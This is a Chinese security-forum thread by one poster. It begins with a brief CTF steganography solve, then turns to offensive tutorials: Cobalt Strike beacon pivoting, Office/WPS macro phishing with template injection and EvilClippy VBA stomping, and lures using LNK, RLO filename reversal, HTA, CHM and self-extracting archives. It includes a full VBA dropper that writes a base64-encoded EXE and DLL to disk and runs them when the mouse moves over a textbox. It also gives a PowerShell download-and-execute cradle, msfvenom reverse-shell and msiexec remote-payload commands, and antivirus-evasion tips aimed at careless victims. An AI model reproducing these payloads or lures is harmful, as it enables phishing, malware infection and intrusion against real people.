添加后保存改为pyc可以进行反编译

![image-20211207170138962](image-20211207170138962.png)

用一下工具

![image-20211207170902023](image-20211207170902023.png)

![image-20211207170922514](image-20211207170922514.png)

magic有问题

之前那个pythins魔改升级版可以自动反编译 也有问题

下载最新版的Uncompyle6试试

https://github.com/rocky/python-uncompyle6

下载下来的是egg文件   记得改成zip



![image-20211207172217501](image-20211207172217501.png)

最新版也有这个问题

原来是我头找错了

找成了pyd文件了

![image-20211207172509555](Ad8oBEpXhbUmPJr.png)

ok,运行然后base64

解压密码:%x+0%!i0_UbP@Wfz!>v^

一个cat文件

一样010打开

![image-20211207173940317](image-20211207173940317.png)

直接改后缀试试

![image-20211207174030379](image-20211207174030379.png)

stego打开

![image-20211207174214851](image-20211207174214851.png)

![image-20211207174155863](image-20211207174155863.png)

blue plane0 出现二维码

flag{Ju57_E4sy_2_93t_17}

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-12-9 15:58:12 | 显示全部楼层
cs中转beacon的原理

中转只能靠cs的那个吗 有没有别的方法 或者说 cs的那个原理是什么

想了解这个原理是因为

cs在实战中具有特征  从而造成如果蓝队在内网部署了防护,就会拦截这个bencon中转功能。但是本人菜鸡能力不足,只知道这个简单又快的上线监听方法。如果这个特征被扫出来了,就黔驴技穷了

所以想知道这个原理;从而对此产生衍生(改进免杀,或者自作一个类似文件)用于防止遭到拦截



这个原理短说法是

利用已上线的主机,将它做一个Listener,实现链路上线CobalStrike。

其实原理和atfact是一样的,然后利用的是smb等协议

所以就是要为这个exe做免杀

当然还有别的方法上线

比如spn传递 pth 喷射 ssh登录 自动上线

但是主要的还是做好exe上传的免杀



回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-12-9 18:03:40 | 显示全部楼层
# 宏钓鱼以及后期多种免杀(一)

借鉴:

https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd

https://blog.csdn.net/qq_34801745/article/details/111307768

https://mp.weixin.qq.com/s?__biz ... b5231d972b990ef9#rd

先来个基础的

## 0x01

word宏钓鱼

找到word选项--打开这个

![image-20211208164744771](image-20211208164744771.png)



cs创建后门

![image-20211208164852071](image-20211208164852071.png)



![image-20211208164912035](image-20211208164912035.png)

在wps文字 对象中的文件复制代码

![image-20211208165011898](image-20211208165011898.png)


![image-20211208165603240](image-20211208165603240.png)


选择自动打开  ctrl+s保存(docx)

![image-20211208171022128](image-20211208171022128.png)

有提示,点否即可

另存为dotm文件

![image-20211208165732406](image-20211208165732406.png)



未做免杀 成功报毒

关掉火绒后再次右键用word打开(记得得先把整个word关掉。毕竟这是我们自己复现,实战的时候对面也没有开着的word软件)

![image-20211208171359387](image-20211208171359387.png)


提示启用内容,启用一下就行

![image-20211208171420346](image-20211208171420346.png)

成功上线

也可以在选项-信任中心-启用所有宏

![image-20211208191701930](image-20211208191701930.png)

ok接下来可以试试分离免杀

上传后面宏

![image-20211208171648367](image-20211208171648367.png)

python开个小vps

把之前做好的Doc1.dotm放到kali桌面(pythonvps的主目录/桌面/Doc1.dotm)

实战中就是放到公网服务器上

新建word文档(单纯的word文档不行,缺少特定文件(zip解压后的xml宏文件))

随便做一个带宏命令的文件

我这个直接在宏模式下导入一个文件,直接录制宏,自定义键盘 不行

录制一个插入表格的宏

![image-20211208192048923](image-20211208192048923.png)

![image-20211208190018523](image-20211208190018523.png)


取个适合钓鱼的名字  比如(张三20201465484的学历)//尊敬的老师您好,xxxx考研xxxxx

![image-20211208172559096](image-20211208172559096.png)

然后修改docx为zip

![image-20211208182133377](image-20211208182133377.png)


然后这里用到了模板注入攻击

将zip文件解压,进入/word/_rels目录下,打开settings.xml.rels宏文件

我这里是vbaProject.bin.rels

![image-20211208194600122](image-20211208194600122.png)


![image-20211208194933629](image-20211208194933629.png)


修改target后的代码为

![image-20211208200135185](image-20211208200135185.png)


然后再压缩  改为docx

用word文档打开

成功上线

![image-20211208200730610](image-20211208200730610.png)




而且就算是wps也能上线,不过两者一开始都会提醒你是否启用宏:cry:(但是如果wps玩家如果没有下载vbs的话是不会有提醒的)

当然一般人都不会默认启用,所以这个钓鱼就适合批量找那些心大的人

接下来看一下免杀

开一下火绒

![image-20211208201615757](image-20211208201615757.png)

好家伙,现在已经不免杀了

2020年底还是免杀的,免杀还是具有时效性,如果有不怕时效性甚至能够像Ai一样自我升级

或者说有个很强大的论坛平台或者人群基数,去进行想法创新而产生的维护。这是我未来的一些思考和方向

![image-20211208203134903](image-20211208203134903.png)

改一改还是能用的,主要还是VBA这个宏文件的特征被发现了

还有shellcode换个加密特征还是做个分块  调用 重合

前面提到这个“就算是wps也能上线,不过两者一开始都会提醒你是否启用宏:cry:(但是如果wps玩家如果没有下载vbs的话是不会有提醒的)”

如果是遇到WPS的客户怎么办?通过上面的方法WPS打开我的简历是不会提示宏的!我这只提供思路,因为现在群体用WPS非常的多,就不会写出来了!



另外思路:
1、打开WPS创建宏是暗色的需要安装VBA for WPS才可以写WPS宏病毒代码执行!
2、Office和WPS中还可以隐藏文字,可以利用该方式通过配合录制宏的方法,用该方式执行…
3、Normal模块下,不止能编写一个settings.xml.rels…可以多宏…
4、弹框执行代码写入宏,那么Excel、PPT等也写…
5、不止docx宏,还有很多,能另存文件内容的都可以…
6.宏加密  防止有人破解

## 0x02

上面提到我们做的项目被查到了有VBA特征

说到免杀要搞清楚我们的附件在什么环节被杀了,首先科普一下当下杀软的三种查杀方式:1.静态查杀 2.云查杀 3.行为查杀。

邮件服务器为了可用性和隐私性一般只有静态查杀。所以我们只需要规避特征值绕过静态查杀就可以让钓鱼附件进入收件箱了。

如何规避静态查杀?最好的办法当然是自己写恶意代码,但大部分云黑客都是脚本小子,这也没关系,现在 gayhub 上也有很多免杀开源的脚本。这里以 EvilClippy 作为演示 用于创建恶意 MS Office 文档的跨平台助手。

可以隐藏 VBA 宏,踩 VBA 代码(通过 P 代 码)并混淆宏分析工具。

在 Linux,OSX 和 Windows 上运行。

ayhub地址:

https://github.com/outflanknl/EvilClippy

直接下载编译好的版本: 地址:https://github.com/outflanknl/EvilClippy/releases

![image-20211208205059906](image-20211208205059906.png)

我擦勒  被删了只剩源码了

那就用源码安装吧

打开VS

方法如下

```
Windows**
Make sure you have Visual Studio installed. Then execute the following command from a Visual Studio developer command prompt:

`csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs`

Now run Evil Clippy from the command line:


```

提前把Visual Studio developer command prompt设置到右键 启动器  因为它很好用:smile_cat:

当然也可以直接win搜索vs一般会跳出来

执行csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs

![image-20211208211824287]()

使用方法:

```
EvilClippy.exe -s hello.vba diaoyu.doc
```

参数说明:-s 参数是通过假的 vba 代码插入到模块中,用以混淆杀毒程序,这里我们需要写一个正常 无毒正常的 vba 脚本

**免杀测试**

新建一个包含宏的 docx 文档

然后点开发工具>>>>>点击宏

宏的位置选择当前文档,然后点击创建

然后再把 CS生成的宏代码复制进去,Ctrl+A 全选,然后 Ctrl+C 粘贴

再 Ctrl+S 保存

然后保存为启用宏的 word 文档

![image-20211208212624825](image-20211208212624825.png)

试一下可以上线

![image-20211208212640482](image-20211208212640482.png)


然后再创建一个简单的无毒 vba 脚本

![image-20211208213046862](image-20211208213046862.png)

然后把它命名为2.vba

然后按住 shift,点击鼠标右键即可在当前路径下打开 cmd 窗口

```
EvilClippy.exe -s 2.vba 1.docm
```

![image-20211208213440186](image-20211208213440186.png)


ok

混淆免杀生成

ok 火绒打开  virtotal查看

![image-20211208213705396](image-20211208213705396.png)

可以改下混淆的 vba 脚本,效果会更好 包括卡巴斯基以及 windows 自带的杀软均不拦截查杀,效果还很好用 试下动态查杀,咱们运行下,火绒和 360 均可以成功上线。2021/12/8不行了

真的快



## 0x03

针对wps(国内大都用wps,当然word也可以利用)的钓鱼

不过其实无论是国内的wps还是国外的word钓鱼方法都一样,都是通过宏文件。

不过国内的wps宏文件开启方法限制更多(不是说它的防护做的好,只是单纯他的开启限制多)

```

```

主要知识点

**释放文件并通过dll劫持实现上线**。

**能否释放文件成功主要看你的文件是不是静态免杀**

而我们用的是dll劫持的方法,白名单程序肯定是安全的文件,**那么就是我们的恶意dll文件如何实现静态免杀了**

首先我们得将dll劫持程序已二进制形式读取出来,然后base64编码后得到了一串字符串,只要释放的时候重新base64解码并已二进制形式写入到磁盘里,这样就能够释放出dll劫持程序了。**那么重点就是该base64字符串存放在哪里?千万别放在宏代码里,很容易被杀,最好的规避杀软的方法就是将base64字符串放到word正文里的文本框等控件里**。然后宏代码去读取文本框里的base64字符串,再解码写入磁盘里并运行白程序实现上线。这样通过该方法就能够实现了宏免杀。

千万不要使用打开word文件就触发宏的方法,很容易被杀软拦截。我常用的方法就是**弄一个很大的文本框放在第一页,然后当目标的鼠标移动到文本框时就触发宏**。这样的方法既能有效规避杀软,还能在目标不知情的情况下触发了宏!

**总结:寻找一个dll劫持的白程序,做一个静态免杀的dll文件,将所有文件以二进制形式读取出来并base64编码后存放到word的文本框里。宏代码功能读取文本框里的字符串并解码写入磁盘,然后运行白程序即可免杀上线!**



宏代码

先使用下面的代码将白程序和dll文件base64编码得到字符串

```c
Sub WriteBinary(FileName, Buf)
  Dim I, aBuf, Size, bStream
  Size = UBound(Buf): ReDim aBuf(Size \ 2)
  For I = 0 To Size - 1 Step 2
      aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))
  Next
  If I = Size Then aBuf(I \ 2) = ChrW(Buf(I))
  aBuf = Join(aBuf, "")
  Set bStream = CreateObject("ADODB.Stream")
  bStream.Type = 1: bStream.Open
  With CreateObject("ADODB.Stream")
    .Type = 2: .Open: .WriteText aBuf
    .Position = 2: .CopyTo bStream: .Close
  End With
  bStream.SaveToFile FileName, 2: bStream.Close
  Set bStream = Nothing
End Sub

Function Base64Encode(str() As Byte) As String                                  'Base64 编码
    On Error GoTo over                                                          '排错
    Dim Buf() As Byte, length As Long, mods As Long
    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    mods = (UBound(str) + 1) Mod 3   '除以3的余数
    length = UBound(str) + 1 - mods
    ReDim Buf(length / 3 * 4 + IIf(mods <> 0, 4, 0) - 1)
    Dim I As Long
    For I = 0 To length - 1 Step 3
        Buf(I / 3 * 4) = (str(I) And &HFC) / &H4
        Buf(I / 3 * 4 + 1) = (str(I) And &H3) * &H10 + (str(I + 1) And &HF0) / &H10
        Buf(I / 3 * 4 + 2) = (str(I + 1) And &HF) * &H4 + (str(I + 2) And &HC0) / &H40
        Buf(I / 3 * 4 + 3) = str(I + 2) And &H3F
    Next
    If mods = 1 Then
        Buf(length / 3 * 4) = (str(length) And &HFC) / &H4
        Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10
        Buf(length / 3 * 4 + 2) = 64
        Buf(length / 3 * 4 + 3) = 64
    ElseIf mods = 2 Then
        Buf(length / 3 * 4) = (str(length) And &HFC) / &H4
        Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10 + (str(length + 1) And &HF0) / &H10
        Buf(length / 3 * 4 + 2) = (str(length + 1) And &HF) * &H4
        Buf(length / 3 * 4 + 3) = 64
    End If
    For I = 0 To UBound(Buf)
        Base64Encode = Base64Encode + Mid(B64_CHAR_DICT, Buf(I) + 1, 1)
    Next
over:
End Function


'VB Base64 解码/解密函数:

Function Base64Decode(B64 As String) As Byte()                                  'Base64 解码
    On Error GoTo over                                                          '排错
    Dim OutStr() As Byte, I As Long, j As Long
    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)     '判断Base64真实长度,除去补位
    Dim length As Long, mods As Long
    mods = Len(B64) Mod 4
    length = Len(B64) - mods
    ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))
    For I = 1 To length Step 4
        Dim Buf(3) As Byte
        For j = 0 To 3
            Buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, I + j, 1)) - 1            '根据字符的位置取得索引值
        Next
        OutStr((I - 1) / 4 * 3) = Buf(0) * &H4 + (Buf(1) And &H30) / &H10
        OutStr((I - 1) / 4 * 3 + 1) = (Buf(1) And &HF) * &H10 + (Buf(2) And &H3C) / &H4
        OutStr((I - 1) / 4 * 3 + 2) = (Buf(2) And &H3) * &H40 + Buf(3)
    Next
    If mods = 2 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
    ElseIf mods = 3 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
        OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4
    End If
    Base64Decode = OutStr                                                       '读取解码结果
over:
End Function


Sub test2()
    Dim iFN As Integer
    Dim sPath As String
    Dim bFileSize As Long
    Dim sResult As String
    Dim arr() As Byte       ' 字节数组
    Dim arra() As Byte       ' 字节数组
    Dim infile, outfile, infileBase As String
    infile = "C:\Windows\Temp\123.exe"
    outfile = "c:\windows\temp\1.exe"

    iFN = VBA.FreeFile

    bFileSize = VBA.FileLen(infile)
    'Debug.Print bFileSize
    Open infile For Binary Access Read As iFN
    arr = InputB(bFileSize, iFN)        '读取字节流

    infileBase = Base64Encode(arr())

    'Debug.Print infileBase

    Dim FSO
    Set FSO = CreateObject("Scripting.FileSystemObject")

    Set OutPutFile = FSO.OpenTextFile("C:\windows\temp\test.txt", 2, True)  //编码后txt
    OutPutFile.Write (infileBase)
    OutPutFile.Close
    Set FSO = Nothing


    'Dim infileBaseExe As String
    'infileBaseExe = Range("J22").Value
    'infileBaseExe = infileBaseExe + Range("J23").Value

    'arra = Base64Decode(infileBase)

    'WriteBinary outfile, arra


End Sub

```

###  **office宏上线代码**

从文本框中读取base64内容,解码后写入到c:\windows\temp\目录下,当用户鼠标移动或点击到文本框中,触发宏执行木马

```c
Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal length As Long, ByVal Fill As Byte)
Private Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)
Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As Long
Private Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Const CREATE_NO_WINDOW = &H8000000
Const CREATE_NEW_CONSOLE = &H10

Function fileExist(filePath)
    Dim fso
    Set fso = CreateObject("Scripting.FileSystemObject")
    If fso.fileExists(filePath) Then
        fileExist = True
    Else
        fileExist = False
    End If
    Set fso = Nothing
End Function


Function dddddd(B64 As String) As Byte()
    On Error GoTo over
    Dim OutStr() As Byte, i As Long, j As Long
    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)
    Dim length As Long, mods As Long
    mods = Len(B64) Mod 4
    length = Len(B64) - mods
    ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))
    For i = 1 To length Step 4
        Dim buf(3) As Byte
        For j = 0 To 3
            buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, i + j, 1)) - 1
        Next
        OutStr((i - 1) / 4 * 3) = buf(0) * &H4 + (buf(1) And &H30) / &H10
        OutStr((i - 1) / 4 * 3 + 1) = (buf(1) And &HF) * &H10 + (buf(2) And &H3C) / &H4
        OutStr((i - 1) / 4 * 3 + 2) = (buf(2) And &H3) * &H40 + buf(3)
    Next
    If mods = 2 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
    ElseIf mods = 3 Then
        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16
        OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4
    End If
    dddddd = OutStr
over:
End Function


Function runCommand(comando)
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim lSuccess As Long
    Dim lRetValue As Long

    lSuccess = CreateProcess(sNull, comando, ByVal 0&, ByVal 0&, 1&, CREATE_NO_WINDOW, ByVal 0&, sNull, sInfo, pInfo)
   
    lRetValue = CloseHandle(pInfo.hThread)
    lRetValue = CloseHandle(pInfo.hProcess)

End Function


Function WriteBinary(FileName, buf)
  Dim i, aBuf, Size, bStream
  Size = UBound(buf): ReDim aBuf(Size \ 2)
  For i = 0 To Size - 1 Step 2
      aBuf(i \ 2) = ChrW(buf(i + 1) * 256 + buf(i))
  Next
  If i = Size Then aBuf(i \ 2) = ChrW(buf(i))
  aBuf = Join(aBuf, "")
  Set bStream = CreateObject("ADODB.Stream")
  bStream.Type = 1: bStream.Open
  With CreateObject("ADODB.Stream")
    .Type = 2: .Open: .WriteText aBuf
    .Position = 2: .CopyTo bStream: .Close
  End With
  bStream.SaveToFile FileName, 2: bStream.Close
  Set bStream = Nothing
End Function


Function releaseFile(path As String, conte As String)

    hwminiArra = dddddd(conte)
    WriteBinary path, hwminiArra



End Function


Function start()
    Dim filePath As String
    filePath = "C:\Windows\temp\aaaaaaa.exe"
    If Not fileExist(filePath) Then
        releaseFile "C:\Windows\temp\aaaaaaa.exe", Replace(ActiveDocument.Shapes(1).TextFrame.TextRange, Chr(13), Empty)
        releaseFile "C:\Windows\temp\aaaaaaaaaaa.dll", Replace(ActiveDocument.Shapes(2).TextFrame.TextRange, Chr(13), Empty)
    End If
    runCommand (filePath)

End Function




Private Sub TextBox2_MouseDown(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
    Static i As Integer
    i = i + 1
    If i < 3 Then
        start
    End If
End Sub

Private Sub TextBox2_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
    Static i As Integer
    i = i + 1
    If i < 3 Then
        start
    End If
End Sub
```

![image-20211208204118845](image-20211208204118845.png)

载入代码①

接下来不会了

照理来说 两段sub代码肯定是放宏上面啊。但是在制作的时候

却要手动将all劫持的程序base64编码放入文本框,这又与第一段的白程序编码脚本产生对立

导致之后的手动也不知道该怎么操作。正在努力问大佬中  后面会补(二)





### PS

VBA 宏代码解释:CobaltStrike 生成默认的 VBA 会导入四个 Windows API 函数,常见的 ShellCode 加载器 代码:

![图片](640.webp)

```
CreateRemoteThread 创建一个在其它进程地址空间中运行的线程(也称:创建远程线程).VirtualAllocEx 指定进程的虚拟空间保留或提交内存区域WriteProcessMemory 写入某一进程的内存区域CreateProcess 创建一个新的进程和它的主线程,这个新进程运行指定的可执行文件其中 Array(-4,-24,-119,0,0,0,96,-119,-27...就是 ShellCode,混淆的办法有很多种。ShellCode 可以自己在 VBA 里解码或者比如每个元素自增 1,运行的时候-1,达到免杀 ……
```

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-12-11 15:52:51 | 显示全部楼层
本帖最后由 CDxiaodong 于 2021-12-11 15:58 编辑

office文档钓鱼免杀实战技巧复现(三)
一、钓鱼小技巧
1.1 LNK 快捷方式
lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令。
cs演示:
file://C:/Users/e%27e%27t/Desktop/2/image-20211211111616213.png?lastModify=1639209430















































powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.124:80/a'))"
然后windows端新建快捷链接方式
双击即可上线
也可以使用msiexec.exe,系统进程,是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。

msfvenom-pwindows/meterpreter/reverse_tcplhost=vpsiplport=1234-fmsi>shell.txt
c:\windows\system32\msiexec.exe/q/ihttp://xxx/shell.txt
不过早已无法达到免杀
file://C:/Users/e%27e%27t/Desktop/2/image-20211211111911587.png?lastModify=1639209430
1.2 文件名反转
1.2 文件名反转
RLO,即Right-to-Left Override,我们可以在⽂件名中插⼊此类unicode字符,来达到⽂件名反转的效果。
以cmd.exe来举例,
将其重命名为cmdgpj.exe,然后在 cmd 与 g 之间右键,看图操作//????(重点)
在重命名框中插入unicode字符RLO
file://C:/Users/e%27e%27t/Desktop/2/image-20211211112353402.png?lastModify=1639209430
ok,此时已经变成了 以 jpg 结尾的了。但是双击运行还是 exe 格式运行的。
file://C:/Users/e%27e%27t/Desktop/2/image-20211211113651875.png?lastModify=1639209430

再利用ResourceHacker修改图标。
file://C:/Users/e%27e%27t/Desktop/2/image-20211211113321409.png?lastModify=1639209430
找个图片转换为 ico 格式。
file://C:/Users/e%27e%27t/Desktop/2/image-20211211113139124.png?lastModify=1639209430
file://C:/Users/e%27e%27t/Desktop/2/image-20211211113746271.png?lastModify=1639209430
save as 就行
1.3 HTA
HTA是HTML Application的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件,本身就是html应用程序,双击就能运行,却比普通网页权限大得多,它具有桌面程序的所有权限。
制作:利用 cs
attacks——>packages——>HTML application
选择powershell 生成。
file://C:/Users/e%27e%27t/Desktop/2/image-20211211114038413.png?lastModify=1639209430
1.4 CHM
CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。
制作CHM需要用到一个工具 EasyCHM(http://www.etextwizard.com/
CHM制作过程:创建一个文件夹(名字随意),在文件夹里面再创建两个文件夹(名字随意)和一个index.html文件,在两个文件夹内部创建各创建一个index.html文件。
file://C:/Users/e%27e%27t/Desktop/2/image-20211211114357980.png?lastModify=1639209430
将下列代码放入index.html:
//计算器打开
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec<OBJECTid=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"width=1height=1><PARAMname="Command"value="ShortCut"><PARAMname="Button"value="Bitmap::shortcut"><PARAMname="Item1"value=',calc.exe'><PARAMname="Item2"value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>
当然这些都不能免杀,不过套娃利用改一改就可以
打开EasyCHM工具
后点击新建然后导入自己创建的文件夹,点击确定后再点击编译,在弹出的对话框中点击生成CHM按钮,会你生成一个CHM文件。
file://C:/Users/e%27e%27t/Desktop/2/image-20211211114903134.png?lastModify=1639209430
点击之后就会弹出calc.exe
当然我们也可以换成其他的,比如说 powershell payload。直接上线。
1.5 自解压
直接上操作。
随便安装软件+cs生成的后门来演示。
选中需要压缩的软件,右键添加到压缩软件,
点击创建自解压格式压缩文件
file://C:/Users/e%27e%27t/Desktop/2/image-20211211115505107.png?lastModify=1639209430
点击 高级-→ 自解压选项
填入解压路径, 绝对路劲,(C:\Windows\Temp 文件夹windows电脑都有)我这里就写本地了
file://C:/Users/e%27e%27t/Desktop/2/image-20211211115557217-16391949579211.png?lastModify=1639209430
点击设置--------提取后运行
file://C:/Users/e%27e%27t/Desktop/2/image-20211211115711439.png?lastModify=1639209430
点击模式,静默模式, 全部隐藏
file://C:/Users/e%27e%27t/Desktop/2/image-20211211115736653.png?lastModify=1639209430
点击更新,设置
更新方式----解压并更新文件覆盖方式----覆盖所有文件
file://C:/Users/e%27e%27t/Desktop/2/image-20211211115810018.png?lastModify=1639209430
确定,出去可以文件名改的像一点。
最后点击确定。生成自解压文件
file://C:/Users/e%27e%27t/Desktop/2/image-20211211115925965.png?lastModify=1639209430
图标有点不太对劲,使用 Restorator 把setup图标抠下来,在弄到生成的自解压文件。
双击它
file://C:/Users/e%27e%27t/Desktop/2/image-20211211120138985.png?lastModify=1639209430
成功上线
火绒还是不能免杀
1.6 捆绑文件
K8免杀系统自带捆绑器加强版V2.0.EXE
超级文件捆绑器
!file://C:/Users/e%27e%27t/Desktop/2/image-20211211140027749.png?lastModify=1639209430
生成,执行之后会执行cmd.exe一样的效果,但此时后门软件也被执行了
二、Office钓鱼
常用的套路使对方开启宏,
文档是被保护状态,需要启用宏才能查看;
添加一张模糊的图片,提示需要启用宏才能查看高清图片;
提示要查看文档,按给出的一系列步骤操作;
贴一张某杀毒软件的Logo图片,暗示文档被安全软件保护。
1.Evil Clippy
文章一讲了相关内容
https://github.com/outflanknl/EvilClippy/releases
windwos安装:
在Visual Studio开发者命令行窗口中输入下列命令:
csc/reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll/out:EvilClippy.exe*.cs
运行成功,生成exe程序。
Usage:eviloffice.exe[OPTIONS]+filenameAuthor:StanHegtEmail:stan@outflank.nlOptions:-n,--name=VALUEThetargetmodulenametostomp.Thisargumentcanberepeated.-s,--sourcefile=VALUEFilecontainingsubstitutionVBAcode(fakecode).-g,--guihideHidecodefromVBAeditorGUI.--gg,--guiunhideUnhidecodefromVBAeditorGUI.-t,--targetversion=VALUETargetMSOfficeversionthepcodewillrunon.-w,--webserver=VALUEStartwebserveronspecifiedporttoservemalicioustemplate.-d,--delmetadataRemovemetadatastream(mayincludeyournameetc.).-r,--randomnamesSetrandommodulenames,confusessomeanalysttools.--rr,--resetmodulenamesUndothesetrandommodulenamesbymakingtheASCIImodulenamesintheDIRstreammatchtheirUnicodecounterparts-u,--unviewableVBAMakeVBAProjectunviewable/locked.--uu,--viewableVBAMakeVBAProjectviewable/unlocked.-v         Increasedebugmessageverbosity.-h,--help Showthismessageandexit.
没做任何处理之前,VT查杀 39/61
file://C:/Users/e%27e%27t/Desktop/2/640.webp?lastModify=1639209430
从GUI隐藏/取消隐藏宏VT查杀 37/60
在VBA GUI编辑器中隐藏所有宏模块(默认的“ ThisDocument”模块除外)。这是通过从项目流[MS-OVBA 2.3.1]中删除模块行来实现的。
EvilClippy.exe -g macrofile.doc
撤消由hide选项(-g)完成的更改,以便我们可以在VBA IDE中调试宏。
EvilClippy.exe -gg macrofile.doc
file://C:/Users/e%27e%27t/Desktop/2/640-16392027667904?lastModify=1639209430
Stomp VBA(滥用P代码)VT 查杀 12/60 效果很好,过火绒
将来自文本文件fakecode.vba的虚假VBA代码放在所有模块中,同时保持P代码不变。这滥用了模块流[MS-OVBA 2.3.4.3]的未记录功能。请注意,VBA项目版本必须与主机程序匹配才能执行P代码
EvilClippy.exe -s 1.vba macrofile.doc
参数说明:-s 参数是通过假的 vba 代码插入到模块中,用以混淆杀毒程序,这里我们需要写一个正常 无毒正常的 vba 脚本
注意:VBA重踏不适用于以Excel 97-2003工作簿(.xls)格式保存的文件
Sub Hello()Dim XX=MsgBox("Hello VBS")
file://C:/Users/e%27e%27t/AppData/Roaming/Typora/typora-user-images/640.webp?lastModify=1639209430

效果比较好,并且可以成功上线,
多参数混合使用:
EvilClippy.exe-s1.vba-g-rhello.docVT查杀12/61
